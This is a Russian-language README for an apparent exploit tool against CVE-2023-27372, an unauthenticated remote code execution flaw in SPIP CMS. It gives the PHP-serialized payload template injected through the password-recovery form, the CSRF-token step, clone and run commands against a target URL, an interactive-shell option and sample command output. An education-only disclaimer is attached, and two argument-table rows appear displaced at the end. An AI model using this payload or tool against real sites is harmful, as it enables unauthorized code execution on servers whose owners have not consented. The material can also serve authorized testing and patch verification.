
Эксплойт для CVE-2023-27372 с интерактивной оболочкой
Эксплойт для CVE-2023-27372 — уязвимости удалённого выполнения кода без аутентификации в CMS SPIP, затрагивающей версии до 4.2.1.
⚠️ Только в образовательных целях. Используйте исключительно на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированное использование незаконно.
SPIP — это открытая CMS, широко используемая для веб-публикаций. Эта уязвимость существует в форме восстановления пароля (/spip.php?page=spip_pass), где параметр oubli обрабатывается без надлежащей санитизации, что позволяет атакующему внедрить и выполнить произвольный PHP-код на сервере — без необходимости аутентификации.
| Поле | Детали |
|---|---|
| CVE | CVE-2023-27372 |
| Оценка CVSS | 9.8 (Critical) |
| Вектор атаки | Сеть |
| Аутентификация | Не требуется |
| Затронутые версии | SPIP < 4.2.1 |
| Тип уязвимости | Внедрение кода / RCE без аутентификации |
Получение CSRF-токена — Выполняется GET-запрос к /spip.php?page=spip_pass для извлечения токена formulaire_action_args из HTML-формы.
Формирование полезной нагрузки — Создаётся PHP-сериализованная строка с командой для выполнения:
s:N:"<?php system('COMMAND'); ?>";
Где N — точная длина внутренней PHP-строки в байтах.
Отправка полезной нагрузки — Выполняется POST-запрос с сформированной полезной нагрузкой в поле oubli вместе с CSRF-токеном. SPIP обрабатывает это поле без санитизации и выполняет внедрённый PHP-код.
Извлечение вывода — Вывод команды возвращается внутри HTML-ответа и извлекается из атрибута value поля ввода oubli.
requestsbeautifulsoup4argparseregex
git clone https://github.com/scriniarii/CVE-2023-27372
cd CVE-2023-27372
pip install requests beautifulsoup4
python3 exploit.py -u <URL> -c <command>
| Аргумент | Описание |
|---|---|
-u, --url | Базовый URL целевого экземпляра SPIP |
python3 exploit.py -u http://TARGET/ -c "id"
python3 exploit.py -u http://TARGET/ -s
Ожидаемый вывод:
[+] Token found : JWDCxt5PTFzhPb...
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Чтобы проверить версию SPIP на цели, найдите мета-тег generator в HTML:
<meta name="generator" content="SPIP 4.2.0" />
[!CAUTION]
⚠️ Отказ от ответственности
Пожалуйста, используйте информацию и эксплойты, предоставленные в моих репозиториях, только в образовательных целях и для ответственного раскрытия уязвимостей. Я не несу ответственности за любое неправомерное использование или ущерб, причинённый в результате использования этих инструментов, скриптов или эксплойтов.
-c, --command | Команда ОС для выполнения на цели |
-s, --shell | Интерактивная оболочка |